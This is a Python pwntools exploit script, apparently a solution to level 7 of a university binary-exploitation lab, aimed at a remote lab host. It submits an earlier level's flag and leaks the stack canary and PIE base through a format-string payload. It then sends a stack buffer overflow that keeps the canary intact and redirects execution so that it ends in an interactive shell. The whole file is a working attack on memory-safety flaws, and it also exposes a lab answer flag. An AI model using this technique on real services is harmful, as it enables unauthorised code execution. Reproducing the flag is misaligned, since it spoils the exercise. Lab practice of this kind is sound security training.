83 lines
2.1 KiB
Python
83 lines
2.1 KiB
Python
#!/usr/bin/env python3
|
|
from pwn import *
|
|
|
|
BINARY = "./level7"
|
|
HOST, PORT = "binexp.stud12.hacklab.ias.tu-bs.de", 4007
|
|
#HOST, PORT = "localhost", 4007
|
|
|
|
elf = ELF(BINARY, checksec=False)
|
|
|
|
def main():
|
|
# 1) start remote
|
|
p = remote(HOST, PORT)
|
|
|
|
# 2) read the question
|
|
question = p.recvline(timeout=2)
|
|
print("[+] question:", question.decode().strip())
|
|
|
|
question = p.recvline(timeout=2)
|
|
print("[+] question:", question.decode().strip())
|
|
|
|
payload = "hacklab{st4ck_c00k1es_w0nt_5top_y0u_G0HNiuT0}"
|
|
p.sendline(payload.encode())
|
|
print("sending: ", end='')
|
|
print(payload)
|
|
|
|
question = p.recvline(timeout=2)
|
|
print("[+] question:", question.decode().strip())
|
|
|
|
question = p.recvline(timeout=2)
|
|
print("[+] question:", question.decode().strip())
|
|
|
|
##############
|
|
|
|
question = p.recv(timeout=999)
|
|
print("[+] got username prompt:", question.decode().strip())
|
|
|
|
# 3) build payload
|
|
#offset = 32
|
|
win = elf.symbols['win']
|
|
#payload = b"A"*offset
|
|
#payload += 0xa6#p64(win)
|
|
#payload += b"\n"
|
|
payload = "%7$p %9$p"
|
|
p.sendline(payload.encode())
|
|
print("sending: ", end='')
|
|
print(payload)
|
|
|
|
leak = p.recvline(timeout=999)
|
|
print("[+] leak:", leak)
|
|
canary = int(leak[-35:-17],16)
|
|
pieaddr = int(leak[-16:-2],16)
|
|
print("[+] canary:", hex(canary))
|
|
print("[+] pieaddr:", hex(pieaddr))
|
|
|
|
question = p.recv(timeout=999)
|
|
print("[+] got username prompt:", question.decode().strip())
|
|
|
|
p.sendline("admin".encode())
|
|
print("sending username \"admin\"")
|
|
|
|
question = p.recvline(timeout=999)
|
|
print("[+] got username msg:", question.decode().strip())
|
|
|
|
question = p.recv(timeout=999)
|
|
print("[+] got password prompt:", question.decode().strip())
|
|
|
|
payload = b"A"*40
|
|
payload += p64(canary)
|
|
payload += p64(pieaddr & 0xFFFFFFFFFFFFF000)
|
|
payload += p64((pieaddr & 0xFFFFFFFFFFFFF000)+0x229)
|
|
p.sendline(payload)
|
|
print("sending payload: ", payload)
|
|
|
|
question = p.recvline(timeout=999)
|
|
print("[+] got login msg:", question.decode().strip())
|
|
|
|
|
|
# 5) we should now have a shell
|
|
p.interactive()
|
|
|
|
if __name__ == "__main__":
|
|
main()
|